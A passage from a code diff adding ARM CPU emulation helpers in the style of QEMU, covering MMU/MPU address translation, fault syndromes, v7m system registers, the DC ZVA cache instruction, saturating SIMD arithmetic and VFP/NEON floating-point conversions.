MPU state on MPU based systems. + * + * Returns 0 if the translation was successful. Otherwise, phys_ptr, + * prot and page_size are not filled in, and the return value provides + * information on why the translation aborted, in the format of a + * DFSR/IFSR fault register, with the following caveats: + * * we honour the short vs long DFSR format differences. + * * the WnR bit is never set (the caller must do this). + * * for MPU based systems we don't bother to return a full FSR format + * value. + * + * @env: CPUARMState + * @address: virtual address to get physical address for + * @access_type: 0 for read, 1 for write, 2 for execute + * @is_user: 0 for privileged access, 1 for user + * @phys_ptr: set to the physical address corresponding to the virtual address + * @prot: set to the permissions for the page containing phys_ptr + * @page_size: set to the size of the page containing phys_ptr + */ +static inline int get_phys_addr(CPUARMState *env, target_ulong address, + int access_type, int is_user, + hwaddr *phys_ptr, int *prot, + target_ulong *page_size) +{ + /* Fast Context Switch Extension. */ + if (address < 0x02000000) + address += env->cp15.c13_fcse; + + if ((env->cp15.c1_sys & SCTLR_M) == 0) { + /* MMU/MPU disabled. */ + *phys_ptr = address; + *prot = PAGE_READ | PAGE_WRITE | PAGE_EXEC; + *page_size = TARGET_PAGE_SIZE; + return 0; + } else if (arm_feature(env, ARM_FEATURE_MPU)) { + *page_size = TARGET_PAGE_SIZE; + return get_phys_addr_mpu(env, address, access_type, is_user, phys_ptr, + prot); + } else if (extended_addresses_enabled(env)) { + return get_phys_addr_lpae(env, address, access_type, is_user, phys_ptr, + prot, page_size); + } else if (env->cp15.c1_sys & SCTLR_XP) { + return get_phys_addr_v6(env, address, access_type, is_user, phys_ptr, + prot, page_size); + } else { + return get_phys_addr_v5(env, address, access_type, is_user, phys_ptr, + prot, page_size); + } +} + +int arm_cpu_handle_mmu_fault(CPUState *cs, vaddr address, + int access_type, int mmu_idx) +{ + CPUARMState *env = cs->env_ptr; + hwaddr phys_addr; + target_ulong page_size; + int prot; + int ret, is_user; + uint32_t syn; + bool same_el = (arm_current_el(env) != 0); + + is_user = mmu_idx == MMU_USER_IDX; + ret = get_phys_addr(env, address, access_type, is_user, &phys_addr, &prot, + &page_size); + if (ret == 0) { + /* Map a single [sub]page. */ + phys_addr &= TARGET_PAGE_MASK; + address &= TARGET_PAGE_MASK; + tlb_set_page(cs, address, phys_addr, prot, mmu_idx, page_size); + return 0; + } + + /* AArch64 syndrome does not have an LPAE bit */ + syn = ret & ~(1 << 9); + + /* For insn and data aborts we assume there is no instruction syndrome + * information; this is always true for exceptions reported to EL1. + */ + if (access_type == 2) { + syn = syn_insn_abort(same_el, 0, 0, syn); + cs->exception_index = EXCP_PREFETCH_ABORT; + } else { + syn = syn_data_abort(same_el, 0, 0, 0, access_type == 1, syn); + if (access_type == 1 && arm_feature(env, ARM_FEATURE_V6)) { + ret |= (1 << 11); + } + cs->exception_index = EXCP_DATA_ABORT; + } + + env->exception.syndrome = syn; + env->exception.vaddress = address; + env->exception.fsr = ret; + return 1; +} + +hwaddr arm_cpu_get_phys_page_debug(CPUState *cs, vaddr addr) +{ + ARMCPU *cpu = ARM_CPU(NULL, cs); + hwaddr phys_addr; + target_ulong page_size; + int prot; + int ret; + + ret = get_phys_addr(&cpu->env, addr, 0, 0, &phys_addr, &prot, &page_size); + + if (ret != 0) { + return -1; + } + + return phys_addr; +} + +void HELPER(set_r13_banked)(CPUARMState *env, uint32_t mode, uint32_t val) +{ + if ((env->uncached_cpsr & CPSR_M) == mode) { + env->regs[13] = val; + } else { + env->banked_r13[bank_number(mode)] = val; + } +} + +uint32_t HELPER(get_r13_banked)(CPUARMState *env, uint32_t mode) +{ + if ((env->uncached_cpsr & CPSR_M) == mode) { + return env->regs[13]; + } else { + return env->banked_r13[bank_number(mode)]; + } +} + +uint32_t HELPER(v7m_mrs)(CPUARMState *env, uint32_t reg) +{ + ARMCPU *cpu = arm_env_get_cpu(env); + + switch (reg) { + case 0: /* APSR */ + return xpsr_read(env) & 0xf8000000; + case 1: /* IAPSR */ + return xpsr_read(env) & 0xf80001ff; + case 2: /* EAPSR */ + return xpsr_read(env) & 0xff00fc00; + case 3: /* xPSR */ + return xpsr_read(env) & 0xff00fdff; + case 5: /* IPSR */ + return xpsr_read(env) & 0x000001ff; + case 6: /* EPSR */ + return xpsr_read(env) & 0x0700fc00; + case 7: /* IEPSR */ + return xpsr_read(env) & 0x0700edff; + case 8: /* MSP */ + return env->v7m.current_sp ? env->v7m.other_sp : env->regs[13]; + case 9: /* PSP */ + return env->v7m.current_sp ? env->regs[13] : env->v7m.other_sp; + case 16: /* PRIMASK */ + return (env->daif & PSTATE_I) != 0; + case 17: /* BASEPRI */ + case 18: /* BASEPRI_MAX */ + return env->v7m.basepri; + case 19: /* FAULTMASK */ + return (env->daif & PSTATE_F) != 0; + case 20: /* CONTROL */ + return env->v7m.control; + default: + /* ??? For debugging only. */ + cpu_abort(CPU(cpu), "Unimplemented system register read (%d)\n", reg); + return 0; + } +} + +void HELPER(v7m_msr)(CPUARMState *env, uint32_t reg, uint32_t val) +{ + ARMCPU *cpu = arm_env_get_cpu(env); + + switch (reg) { + case 0: /* APSR */ + xpsr_write(env, val, 0xf8000000); + break; + case 1: /* IAPSR */ + xpsr_write(env, val, 0xf8000000); + break; + case 2: /* EAPSR */ + xpsr_write(env, val, 0xfe00fc00); + break; + case 3: /* xPSR */ + xpsr_write(env, val, 0xfe00fc00); + break; + case 5: /* IPSR */ + /* IPSR bits are readonly. */ + break; + case 6: /* EPSR */ + xpsr_write(env, val, 0x0600fc00); + break; + case 7: /* IEPSR */ + xpsr_write(env, val, 0x0600fc00); + break; + case 8: /* MSP */ + if (env->v7m.current_sp) + env->v7m.other_sp = val; + else + env->regs[13] = val; + break; + case 9: /* PSP */ + if (env->v7m.current_sp) + env->regs[13] = val; + else + env->v7m.other_sp = val; + break; + case 16: /* PRIMASK */ + if (val & 1) { + env->daif |= PSTATE_I; + } else { + env->daif &= ~PSTATE_I; + } + break; + case 17: /* BASEPRI */ + env->v7m.basepri = val & 0xff; + break; + case 18: /* BASEPRI_MAX */ + val &= 0xff; + if (val != 0 && (val < env->v7m.basepri || env->v7m.basepri == 0)) + env->v7m.basepri = val; + break; + case 19: /* FAULTMASK */ + if (val & 1) { + env->daif |= PSTATE_F; + } else { + env->daif &= ~PSTATE_F; + } + break; + case 20: /* CONTROL */ + env->v7m.control = val & 3; + switch_v7m_sp(env, (val & 2) != 0); + break; + default: + /* ??? For debugging only. */ + cpu_abort(CPU(cpu), "Unimplemented system register write (%d)\n", reg); + return; + } +} + +#endif + +void HELPER(dc_zva)(CPUARMState *env, uint64_t vaddr_in) +{ + /* Implement DC ZVA, which zeroes a fixed-length block of memory. + * Note that we do not implement the (architecturally mandated) + * alignment fault for attempts to use this on Device memory + * (which matches the usual QEMU behaviour of not implementing either + * alignment faults or any memory attribute handling). + */ + + ARMCPU *cpu = arm_env_get_cpu(env); + uint64_t blocklen = 4 << cpu->dcz_blocksize; + uint64_t vaddr = vaddr_in & ~(blocklen - 1); + +#ifndef CONFIG_USER_ONLY + { + /* Slightly awkwardly, QEMU's TARGET_PAGE_SIZE may be less than + * the block size so we might have to do more than one TLB lookup. + * We know that in fact for any v8 CPU the page size is at least 4K + * and the block size must be 2K or less, but TARGET_PAGE_SIZE is only + * 1K as an artefact of legacy v5 subpage support being present in the + * same QEMU executable. + */ + + int maxidx = DIV_ROUND_UP(blocklen, TARGET_PAGE_SIZE); + // msvc doesnt allow non-constant array sizes, so we work out the size it would be + // TARGET_PAGE_SIZE is 1024 + // blocklen is 64 + // maxidx = (blocklen+TARGET_PAGE_SIZE-1) / TARGET_PAGE_SIZE + // = (64+1024-1) / 1024 + // = 1 +#ifdef _MSC_VER + void *hostaddr[1]; +#else + void *hostaddr[maxidx]; +#endif + int try, i; + + for (try = 0; try < 2; try++) { + + for (i = 0; i < maxidx; i++) { + hostaddr[i] = tlb_vaddr_to_host(env, + vaddr + TARGET_PAGE_SIZE * i, + 1, cpu_mmu_index(env)); + if (!hostaddr[i]) { + break; + } + } + if (i == maxidx) { + /* If it's all in the TLB it's fair game for just writing to; + * we know we don't need to update dirty status, etc. + */ + for (i = 0; i < maxidx - 1; i++) { + memset(hostaddr[i], 0, TARGET_PAGE_SIZE); + } + memset(hostaddr[i], 0, blocklen - (i * TARGET_PAGE_SIZE)); + return; + } + /* OK, try a store and see if we can populate the tlb. This + * might cause an exception if the memory isn't writable, + * in which case we will longjmp out of here. We must for + * this purpose use the actual register value passed to us + * so that we get the fault address right. + */ + helper_ret_stb_mmu(env, vaddr_in, 0, cpu_mmu_index(env), GETRA()); + /* Now we can populate the other TLB entries, if any */ + for (i = 0; i < maxidx; i++) { + uint64_t va = vaddr + TARGET_PAGE_SIZE * i; + if (va != (vaddr_in & TARGET_PAGE_MASK)) { + helper_ret_stb_mmu(env, va, 0, cpu_mmu_index(env), GETRA()); + } + } + } + + /* Slow path (probably attempt to do this to an I/O device or + * similar, or clearing of a block of code we have translations + * cached for). Just do a series of byte writes as the architecture + * demands. It's not worth trying to use a cpu_physical_memory_map(), + * memset(), unmap() sequence here because: + * + we'd need to account for the blocksize being larger than a page + * + the direct-RAM access case is almost always going to be dealt + * with in the fastpath code above, so there's no speed benefit + * + we would have to deal with the map returning NULL because the + * bounce buffer was in use + */ + for (i = 0; i < blocklen; i++) { + helper_ret_stb_mmu(env, vaddr + i, 0, cpu_mmu_index(env), GETRA()); + } + } +#else + memset(g2h(vaddr), 0, blocklen); +#endif +} + +/* Note that signed overflow is undefined in C. The following routines are + careful to use unsigned types where modulo arithmetic is required. + Failure to do so _will_ break on newer gcc. */ + +/* Signed saturating arithmetic. */ + +/* Perform 16-bit signed saturating addition. */ +static inline uint16_t add16_sat(uint16_t a, uint16_t b) +{ + uint16_t res; + + res = a + b; + if (((res ^ a) & 0x8000) && !((a ^ b) & 0x8000)) { + if (a & 0x8000) + res = 0x8000; + else + res = 0x7fff; + } + return res; +} + +/* Perform 8-bit signed saturating addition. */ +static inline uint8_t add8_sat(uint8_t a, uint8_t b) +{ + uint8_t res; + + res = a + b; + if (((res ^ a) & 0x80) && !((a ^ b) & 0x80)) { + if (a & 0x80) + res = 0x80; + else + res = 0x7f; + } + return res; +} + +/* Perform 16-bit signed saturating subtraction. */ +static inline uint16_t sub16_sat(uint16_t a, uint16_t b) +{ + uint16_t res; + + res = a - b; + if (((res ^ a) & 0x8000) && ((a ^ b) & 0x8000)) { + if (a & 0x8000) + res = 0x8000; + else + res = 0x7fff; + } + return res; +} + +/* Perform 8-bit signed saturating subtraction. */ +static inline uint8_t sub8_sat(uint8_t a, uint8_t b) +{ + uint8_t res; + + res = a - b; + if (((res ^ a) & 0x80) && ((a ^ b) & 0x80)) { + if (a & 0x80) + res = 0x80; + else + res = 0x7f; + } + return res; +} + +#define ADD16(a, b, n) RESULT(add16_sat(a, b), n, 16); +#define SUB16(a, b, n) RESULT(sub16_sat(a, b), n, 16); +#define ADD8(a, b, n) RESULT(add8_sat(a, b), n, 8); +#define SUB8(a, b, n) RESULT(sub8_sat(a, b), n, 8); +#define PFX q + +#include "op_addsub.h" + +/* Unsigned saturating arithmetic. */ +static inline uint16_t add16_usat(uint16_t a, uint16_t b) +{ + uint16_t res; + res = a + b; + if (res < a) + res = 0xffff; + return res; +} + +static inline uint16_t sub16_usat(uint16_t a, uint16_t b) +{ + if (a > b) + return a - b; + else + return 0; +} + +static inline uint8_t add8_usat(uint8_t a, uint8_t b) +{ + uint8_t res; + res = a + b; + if (res < a) + res = 0xff; + return res; +} + +static inline uint8_t sub8_usat(uint8_t a, uint8_t b) +{ + if (a > b) + return a - b; + else + return 0; +} + +#define ADD16(a, b, n) RESULT(add16_usat(a, b), n, 16); +#define SUB16(a, b, n) RESULT(sub16_usat(a, b), n, 16); +#define ADD8(a, b, n) RESULT(add8_usat(a, b), n, 8); +#define SUB8(a, b, n) RESULT(sub8_usat(a, b), n, 8); +#define PFX uq + +#include "op_addsub.h" + +/* Signed modulo arithmetic. */ +#define SARITH16(a, b, n, op) do { \ + int32_t sum; \ + sum = (int32_t)(int16_t)(a) op (int32_t)(int16_t)(b); \ + RESULT(sum, n, 16); \ + if (sum >= 0) \ + ge |= 3 << (n * 2); \ + } while(0) + +#define SARITH8(a, b, n, op) do { \ + int32_t sum; \ + sum = (int32_t)(int8_t)(a) op (int32_t)(int8_t)(b); \ + RESULT(sum, n, 8); \ + if (sum >= 0) \ + ge |= 1 << n; \ + } while(0) + + +#define ADD16(a, b, n) SARITH16(a, b, n, +) +#define SUB16(a, b, n) SARITH16(a, b, n, -) +#define ADD8(a, b, n) SARITH8(a, b, n, +) +#define SUB8(a, b, n) SARITH8(a, b, n, -) +#define PFX s +#define ARITH_GE + +#include "op_addsub.h" + +/* Unsigned modulo arithmetic. */ +#define ADD16(a, b, n) do { \ + uint32_t sum; \ + sum = (uint32_t)(uint16_t)(a) + (uint32_t)(uint16_t)(b); \ + RESULT(sum, n, 16); \ + if ((sum >> 16) == 1) \ + ge |= 3 << (n * 2); \ + } while(0) + +#define ADD8(a, b, n) do { \ + uint32_t sum; \ + sum = (uint32_t)(uint8_t)(a) + (uint32_t)(uint8_t)(b); \ + RESULT(sum, n, 8); \ + if ((sum >> 8) == 1) \ + ge |= 1 << n; \ + } while(0) + +#define SUB16(a, b, n) do { \ + uint32_t sum; \ + sum = (uint32_t)(uint16_t)(a) - (uint32_t)(uint16_t)(b); \ + RESULT(sum, n, 16); \ + if ((sum >> 16) == 0) \ + ge |= 3 << (n * 2); \ + } while(0) + +#define SUB8(a, b, n) do { \ + uint32_t sum; \ + sum = (uint32_t)(uint8_t)(a) - (uint32_t)(uint8_t)(b); \ + RESULT(sum, n, 8); \ + if ((sum >> 8) == 0) \ + ge |= 1 << n; \ + } while(0) + +#define PFX u +#define ARITH_GE + +#include "op_addsub.h" + +/* Halved signed arithmetic. */ +#define ADD16(a, b, n) \ + RESULT(((int32_t)(int16_t)(a) + (int32_t)(int16_t)(b)) >> 1, n, 16) +#define SUB16(a, b, n) \ + RESULT(((int32_t)(int16_t)(a) - (int32_t)(int16_t)(b)) >> 1, n, 16) +#define ADD8(a, b, n) \ + RESULT(((int32_t)(int8_t)(a) + (int32_t)(int8_t)(b)) >> 1, n, 8) +#define SUB8(a, b, n) \ + RESULT(((int32_t)(int8_t)(a) - (int32_t)(int8_t)(b)) >> 1, n, 8) +#define PFX sh + +#include "op_addsub.h" + +/* Halved unsigned arithmetic. */ +#define ADD16(a, b, n) \ + RESULT(((uint32_t)(uint16_t)(a) + (uint32_t)(uint16_t)(b)) >> 1, n, 16) +#define SUB16(a, b, n) \ + RESULT(((uint32_t)(uint16_t)(a) - (uint32_t)(uint16_t)(b)) >> 1, n, 16) +#define ADD8(a, b, n) \ + RESULT(((uint32_t)(uint8_t)(a) + (uint32_t)(uint8_t)(b)) >> 1, n, 8) +#define SUB8(a, b, n) \ + RESULT(((uint32_t)(uint8_t)(a) - (uint32_t)(uint8_t)(b)) >> 1, n, 8) +#define PFX uh + +#include "op_addsub.h" + +static inline uint8_t do_usad(uint8_t a, uint8_t b) +{ + if (a > b) + return a - b; + else + return b - a; +} + +/* Unsigned sum of absolute byte differences. */ +uint32_t HELPER(usad8)(uint32_t a, uint32_t b) +{ + uint32_t sum; + sum = do_usad(a, b); + sum += do_usad(a >> 8, b >> 8); + sum += do_usad(a >> 16, b >>16); + sum += do_usad(a >> 24, b >> 24); + return sum; +} + +/* For ARMv6 SEL instruction. */ +uint32_t HELPER(sel_flags)(uint32_t flags, uint32_t a, uint32_t b) +{ + uint32_t mask; + + mask = 0; + if (flags & 1) + mask |= 0xff; + if (flags & 2) + mask |= 0xff00; + if (flags & 4) + mask |= 0xff0000; + if (flags & 8) + mask |= 0xff000000; + return (a & mask) | (b & ~mask); +} + +/* VFP support. We follow the convention used for VFP instructions: + Single precision routines have a "s" suffix, double precision a + "d" suffix. */ + +/* Convert host exception flags to vfp form. */ +static inline int vfp_exceptbits_from_host(int host_bits) +{ + int target_bits = 0; + + if (host_bits & float_flag_invalid) + target_bits |= 1; + if (host_bits & float_flag_divbyzero) + target_bits |= 2; + if (host_bits & float_flag_overflow) + target_bits |= 4; + if (host_bits & (float_flag_underflow | float_flag_output_denormal)) + target_bits |= 8; + if (host_bits & float_flag_inexact) + target_bits |= 0x10; + if (host_bits & float_flag_input_denormal) + target_bits |= 0x80; + return target_bits; +} + +uint32_t HELPER(vfp_get_fpscr)(CPUARMState *env) +{ + int i; + uint32_t fpscr; + + fpscr = (env->vfp.xregs[ARM_VFP_FPSCR] & 0xffc8ffff) + | (env->vfp.vec_len << 16) + | (env->vfp.vec_stride << 20); + i = get_float_exception_flags(&env->vfp.fp_status); + i |= get_float_exception_flags(&env->vfp.standard_fp_status); + fpscr |= vfp_exceptbits_from_host(i); + return fpscr; +} + +uint32_t vfp_get_fpscr(CPUARMState *env) +{ + return HELPER(vfp_get_fpscr)(env); +} + +/* Convert vfp exception flags to target form. */ +static inline int vfp_exceptbits_to_host(int target_bits) +{ + int host_bits = 0; + + if (target_bits & 1) + host_bits |= float_flag_invalid; + if (target_bits & 2) + host_bits |= float_flag_divbyzero; + if (target_bits & 4) + host_bits |= float_flag_overflow; + if (target_bits & 8) + host_bits |= float_flag_underflow; + if (target_bits & 0x10) + host_bits |= float_flag_inexact; + if (target_bits & 0x80) + host_bits |= float_flag_input_denormal; + return host_bits; +} + +void HELPER(vfp_set_fpscr)(CPUARMState *env, uint32_t val) +{ + int i; + uint32_t changed; + + changed = env->vfp.xregs[ARM_VFP_FPSCR]; + env->vfp.xregs[ARM_VFP_FPSCR] = (val & 0xffc8ffff); + env->vfp.vec_len = (val >> 16) & 7; + env->vfp.vec_stride = (val >> 20) & 3; + + changed ^= val; + if (changed & (3 << 22)) { + i = (val >> 22) & 3; + switch (i) { + case FPROUNDING_TIEEVEN: + i = float_round_nearest_even; + break; + case FPROUNDING_POSINF: + i = float_round_up; + break; + case FPROUNDING_NEGINF: + i = float_round_down; + break; + case FPROUNDING_ZERO: + i = float_round_to_zero; + break; + } + set_float_rounding_mode(i, &env->vfp.fp_status); + } + if (changed & (1 << 24)) { + set_flush_to_zero((val & (1 << 24)) != 0, &env->vfp.fp_status); + set_flush_inputs_to_zero((val & (1 << 24)) != 0, &env->vfp.fp_status); + } + if (changed & (1 << 25)) + set_default_nan_mode((val & (1 << 25)) != 0, &env->vfp.fp_status); + + i = vfp_exceptbits_to_host(val); + set_float_exception_flags(i, &env->vfp.fp_status); + set_float_exception_flags(0, &env->vfp.standard_fp_status); +} + +void vfp_set_fpscr(CPUARMState *env, uint32_t val) +{ + HELPER(vfp_set_fpscr)(env, val); +} + +#define VFP_HELPER(name, p) HELPER(glue(glue(vfp_,name),p)) + +#define VFP_BINOP(name) \ +float32 VFP_HELPER(name, s)(float32 a, float32 b, void *fpstp) \ +{ \ + float_status *fpst = fpstp; \ + return float32_ ## name(a, b, fpst); \ +} \ +float64 VFP_HELPER(name, d)(float64 a, float64 b, void *fpstp) \ +{ \ + float_status *fpst = fpstp; \ + return float64_ ## name(a, b, fpst); \ +} +VFP_BINOP(add) +VFP_BINOP(sub) +VFP_BINOP(mul) +VFP_BINOP(div) +VFP_BINOP(min) +VFP_BINOP(max) +VFP_BINOP(minnum) +VFP_BINOP(maxnum) +#undef VFP_BINOP + +float32 VFP_HELPER(neg, s)(float32 a) +{ + return float32_chs(a); +} + +float64 VFP_HELPER(neg, d)(float64 a) +{ + return float64_chs(a); +} + +float32 VFP_HELPER(abs, s)(float32 a) +{ + return float32_abs(a); +} + +float64 VFP_HELPER(abs, d)(float64 a) +{ + return float64_abs(a); +} + +float32 VFP_HELPER(sqrt, s)(float32 a, CPUARMState *env) +{ + return float32_sqrt(a, &env->vfp.fp_status); +} + +float64 VFP_HELPER(sqrt, d)(float64 a, CPUARMState *env) +{ + return float64_sqrt(a, &env->vfp.fp_status); +} + +/* XXX: check quiet/signaling case */ +#define DO_VFP_cmp(p, type) \ +void VFP_HELPER(cmp, p)(type a, type b, CPUARMState *env) \ +{ \ + uint32_t flags; \ + switch(type ## _compare_quiet(a, b, &env->vfp.fp_status)) { \ + case 0: flags = 0x6; break; \ + case -1: flags = 0x8; break; \ + case 1: flags = 0x2; break; \ + default: case 2: flags = 0x3; break; \ + } \ + env->vfp.xregs[ARM_VFP_FPSCR] = (flags << 28) \ + | (env->vfp.xregs[ARM_VFP_FPSCR] & 0x0fffffff); \ +} \ +void VFP_HELPER(cmpe, p)(type a, type b, CPUARMState *env) \ +{ \ + uint32_t flags; \ + switch(type ## _compare(a, b, &env->vfp.fp_status)) { \ + case 0: flags = 0x6; break; \ + case -1: flags = 0x8; break; \ + case 1: flags = 0x2; break; \ + default: case 2: flags = 0x3; break; \ + } \ + env->vfp.xregs[ARM_VFP_FPSCR] = (flags << 28) \ + | (env->vfp.xregs[ARM_VFP_FPSCR] & 0x0fffffff); \ +} +DO_VFP_cmp(s, float32) +DO_VFP_cmp(d, float64) +#undef DO_VFP_cmp + +/* Integer to float and float to integer conversions */ + +#define CONV_ITOF(name, fsz, sign) \ + float##fsz HELPER(name)(uint32_t x, void *fpstp) \ +{ \ + float_status *fpst = fpstp; \ + return sign##int32_to_##float##fsz((sign##int32_t)x, fpst); \ +} + +#define CONV_FTOI(name, fsz, sign, round) \ +uint32_t HELPER(name)(float##fsz x, void *fpstp) \ +{ \ + float_status *fpst = fpstp; \ + if (float##fsz##_is_any_nan(x)) { \ + float_raise(float_flag_invalid, fpst); \ + return 0; \ + } \ + return float##fsz##_to_##sign##int32##round(x, fpst); \ +} + +#define FLOAT_CONVS(name, p, fsz, sign) \ +CONV_ITOF(vfp_##name##to##p, fsz, sign) \ +CONV_FTOI(vfp_to##name##p, fsz, sign, ) \ +CONV_FTOI(vfp_to##name##z##p, fsz, sign, _round_to_zero) + +FLOAT_CONVS(si, s, 32, ) +FLOAT_CONVS(si, d, 64, ) +FLOAT_CONVS(ui, s, 32, u) +FLOAT_CONVS(ui, d, 64, u) + +#undef CONV_ITOF +#undef CONV_FTOI +#undef FLOAT_CONVS + +/* floating point conversion */ +float64 VFP_HELPER(fcvtd, s)(float32 x, CPUARMState *env) +{ + float64 r = float32_to_float64(x, &env->vfp.fp_status); + /* ARM requires that S<->D conversion of any kind of NaN generates + * a quiet NaN by forcing the most significant frac bit to 1. + */ + return float64_maybe_silence_nan(r); +} + +float32 VFP_HELPER(fcvts, d)(float64 x, CPUARMState *env) +{ + float32 r = float64_to_float32(x, &env->vfp.fp_status); + /* ARM requires that S<->D conversion of any kind of NaN generates + * a quiet NaN by forcing the most significant frac bit to 1. + */ + return float32_maybe_silence_nan(r); +} + +/* VFP3 fixed point conversion. */ +#define VFP_CONV_FIX_FLOAT(name, p, fsz, isz, itype) \ +float##fsz HELPER(vfp_##name##to##p)(uint##isz##_t x, uint32_t shift, \ + void *fpstp) \ +{ \ + float_status *fpst = fpstp; \ + float##fsz tmp; \ + tmp = itype##_to_##float##fsz(x, fpst); \ + return float##fsz##_scalbn(tmp, -(int)shift, fpst); \ +} + +/* Notice that we want only input-denormal exception flags from the + * scalbn operation: the other possible flags (overflow+inexact if + * we overflow to infinity, output-denormal) aren't correct for the + * complete scale-and-convert operation. + */ +#define VFP_CONV_FLOAT_FIX_ROUND(name, p, fsz, isz, itype, round) \ +uint##isz##_t HELPER(vfp_to##name##p##round)(float##fsz x, \ + uint32_t shift, \ + void *fpstp) \ +{ \ + float_status *fpst = fpstp; \ + int old_exc_flags = get_float_exception_flags(fpst); \ + float##fsz tmp; \ + if (float##fsz##_is_any_nan(x)) { \ + float_raise(float_flag_invalid, fpst); \ + return 0; \ + } \ + tmp = float##fsz##_scalbn(x, shift, fpst); \ + old_exc_flags |= get_float_exception_flags(fpst) \ + & float_flag_input_denormal; \ + set_float_exception_flags(old_exc_flags, fpst); \ + return float##fsz##_to_##itype##round(tmp, fpst); \ +} + +#define VFP_CONV_FIX(name, p, fsz, isz, itype) \ +VFP_CONV_FIX_FLOAT(name, p, fsz, isz, itype) \ +VFP_CONV_FLOAT_FIX_ROUND(name, p, fsz, isz, itype, _round_to_zero) \ +VFP_CONV_FLOAT_FIX_ROUND(name, p, fsz, isz, itype, ) + +#define VFP_CONV_FIX_A64(name, p, fsz, isz, itype) \ +VFP_CONV_FIX_FLOAT(name, p, fsz, isz, itype) \ +VFP_CONV_FLOAT_FIX_ROUND(name, p, fsz, isz, itype, ) + +VFP_CONV_FIX(sh, d, 64, 64, int16) +VFP_CONV_FIX(sl, d, 64, 64, int32) +VFP_CONV_FIX_A64(sq, d, 64, 64, int64) +VFP_CONV_FIX(uh, d, 64, 64, uint16) +VFP_CONV_FIX(ul, d, 64, 64, uint32) +VFP_CONV_FIX_A64(uq, d, 64, 64, uint64) +VFP_CONV_FIX(sh, s, 32, 32, int16) +VFP_CONV_FIX(sl, s, 32, 32, int32) +VFP_CONV_FIX_A64(sq, s, 32, 64, int64) +VFP_CONV_FIX(uh, s, 32, 32, uint16) +VFP_CONV_FIX(ul, s, 32, 32, uint32) +VFP_CONV_FIX_A64(uq, s, 32, 64, uint64) +#undef VFP_CONV_FIX +#undef VFP_CONV_FIX_FLOAT +#undef VFP_CONV_FLOAT_FIX_ROUND + +/* Set the current fp rounding mode and return the old one. + * The argument is a softfloat float_round_ value. + */ +uint32_t HELPER(set_rmode)(uint32_t rmode, CPUARMState *env) +{ + float_status *fp_status = &env->vfp.fp_status; + + uint32_t prev_rmode = get_float_rounding_mode(fp_status); + set_float_rounding_mode(rmode, fp_status); + + return prev_rmode; +} + +/* Set the current fp rounding mode in the standard fp status and return + * the old one. This is for NEON instructions that need to change the + * rounding mode but wish to use the standard FPSCR values for everything + * else. Always set the rounding mode back to the correct value after + * modifying it. + * The argument is a softfloat float_round_ value. + */ +uint32_t HELPER(set_neon_rmode)(uint32_t rmode, CPUARMState *env) +{ + float_status *fp_status = &env->vfp.standard_fp_status; + + uint32_t prev_rmode = get_float_rounding_mode(fp_status); + set_float_rounding_mode(rmode, fp_status); + + return prev_rmode; +} + +/* Half precision conversions. */ +static float32 do_fcvt_f16_to_f32(uint32_t a, CPUARMState *env, float_status *s) +{ + int ieee = (env->vfp.xregs[ARM_VFP_FPSCR] & (1 << 26)) == 0; + float32 r = float16_to_float32(make_float16(a), ieee, s); + if (ieee) { + return float32_maybe_silence_nan(r); + } + return r; +} + +static uint32_t do_fcvt_f32_to_f16(float32 a, CPUARMState *env, float_status *s) +{ + int ieee = (env->vfp.xregs[ARM_VFP_FPSCR] & (1 << 26)) == 0; + float16 r = float32_to_float16(a, ieee, s); + if (ieee) { + r = float16_maybe_silence_nan(r); + } + return float16_val(r); +} + +float32 HELPER(neon_fcvt_f16_to_f32)(uint32_t a, CPUARMState *env) +{ + return do_fcvt_f16_to_f32(a, env, &env->vfp.standard_fp_status); +} + +uint32_t HELPER(neon_fcvt_f32_to_f16)(float32 a, CPUARMState *env) +{ + return do_fcvt_f32_to_f16(a, env, &env->vfp.standard_fp_status); +} + +float32 HELPER(vfp_fcvt_f16_to_f32)(uint32_t a, CPUARMState *env) +{ + return do_fcvt_f16_to_f32(a, env, &env->vfp.fp_status); +} + +uint32_t HELPER(vfp_fcvt_f32_to_f16)(float32 a, CPUARMState *env) +{ + return do_fcvt_f32_to_f16(a, env, &env->vfp.fp_status); +} + +float64 HELPER(vfp_fcvt_f16_to_f64)(uint32_t a, CPUARMState *env) +{ + int ieee = (env->vfp.xregs[ARM_VFP_FPSCR] & (1 << 26)) == 0; + float64 r = float16_to_float64(make_float16(a), ieee, &env->vfp.fp_status); + if (ieee) { + return float64_maybe_silence_nan(r); + } + return r; +} + +uint32_t HELPER(vfp_fcvt_f64_to_f16)(float64 a, CPUARMState *env) +{ + int ieee = (env->vfp.xregs[ARM_VFP_FPSCR] & (1 << 26)) == 0; + float16 r = float64_to_float16(a, ieee, &env->vfp.fp_status); + if (ieee) { + r = float16_maybe_silence_nan(r); + } + return float16_val(r); +} + +#define float32_two make_float32(0x40000000) +#define float32_three make_float32(0x40400000) +#define float32_one_point_five make_float32(0x3fc00000) + +float32 HELPER(recps_f32)(float32 a, float32 b, CPUARMState *env) +{ + float_status *s = &env->vfp.standard_fp_status; + if ((float32_is_infinity(a) && float32_is_zero_or_denormal(b)) || + (float32_is_infinity(b) && float32_is_zero_or_denormal(a))) { + if (!(float32_is_zero(a) || float32_is_zero(b))) { + float_raise(float_flag_input_denormal, s); + } + return float32_two; + } + return float32_sub(float32_two, float32_mul(a, b, s), s); +} + +float32 HELPER(rsqrts_f32)(float32 a, float32 b, CPUARMState *env) +{ + float_status *s = &env->vfp.standard_fp_status; + float32 product; + if ((float32_is_infinity(a) && float32_is_zero_or_denormal(b)) || + (float32_is_infinity(b) && float32_is_zero_or_denormal(a))) { + if (!(float32_is_zero(a) || float32_is_zero(b))) { + float_raise(float_flag_input_denormal, s); + } + return float32_one_point_five; + } + product = float32_mul(a, b, s); + return float32_div(float32_sub(float32_three, product, s), float32_two, s); +} + +/* NEON helpers. */ + +/* Constants 256 and 512 are used in some helpers; we avoid relying on + * int->float conversions at run-time. */ +#define float64_256 make_float64(0x4070000000000000LL) +#define float64_512 make_float64(0x4080000000000000LL) +#define float32_maxnorm make_float32(0x7f7fffff) +#define float64_maxnorm make_float64(0x7fefffffffffffffLL) + +/* Reciprocal functions + * + * The algorithm that must be used to calculate the estimate + * is specified by the ARM ARM, see FPRecipEstimate() + */ + +static float64 recip_estimate(float64 a, float_status *real_fp_status) +{ + /* These calculations mustn't set any fp exception flags, + * so we use a local copy of the fp_status. + */ + float_status dummy_status = *real_fp_status; + float_status *s = &dummy_status; + /* q = (int)(a * 512.0) */ + float64 q = float64_mul(float64_512, a, s); + int64_t q_int = float64_to_int64_round_to_zero(q, s); + + /* r = 1.0 / (((double)q + 0.5) / 512.0) */ + q = 